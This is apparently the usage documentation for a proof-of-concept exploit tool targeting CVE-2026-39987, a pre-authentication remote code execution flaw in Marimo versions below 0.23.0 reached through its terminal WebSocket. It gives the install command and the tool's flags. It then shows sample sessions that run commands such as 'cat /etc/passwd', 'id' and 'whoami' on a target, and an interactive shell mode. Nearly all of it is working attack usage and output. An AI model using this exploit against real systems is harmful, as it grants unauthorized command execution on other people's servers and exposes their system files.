go install -v github.com/matesz44/cve-2026-39987/cmd/cve-2026-39987@latest

cve-2026-39987 -h

CVE-2026-39987 PoC: Marimo<0.23.0 Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass
- Source: https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc

Usage:
  ./cve-2026-39987 [flags]

Flags:
   -t, -target string  Target WebSocket URL (required, e.g., ws(s)://[TARGET]:([PORT])/terminal/ws)
   -c, -cmd string     Command to Run (default "uname -a")
   -i, -interactive    Interactive Mode

cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws
REDACTED@REDACTED:~$ uname -a
Linux [...]
REDACTED@REDACTED:~$ exit
exit

[INF:normalclose] websocket: close 1000 (normal): Terminal session ended

cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws -c "cat /etc/passwd"
REDACTED@REDACTED:~$ cat /etc/passwd
exit
root:x:0:0: [...]
REDACTED@REDACTED:~$ exit
exit

[INF:normalclose] websocket: close 1000 (normal): Terminal session ended

cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws -i
REDACTED@REDACTED:~$ id
id
uid=1000(REDACTED) gid=1000(REDACTED) groups=1000(REDACTED)
REDACTED@REDACTED:~$ whoami
whoami
REDACTED
REDACTED@REDACTED:~$ exit
exit
exit

[INF:normalclose] websocket: close 1000 (normal): Terminal session ended

printf "id\nwhoami" | cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws
REDACTED@REDACTED:~$ id
whoami
exit
uid=1000(REDACTED) gid=1000(REDACTED) groups=1000(REDACTED)
REDACTED@REDACTED:~$ whoami
REDACTED
REDACTED@REDACTED:~$ exit
exit

[INF:normalclose] websocket: close 1000 (normal): Terminal session ended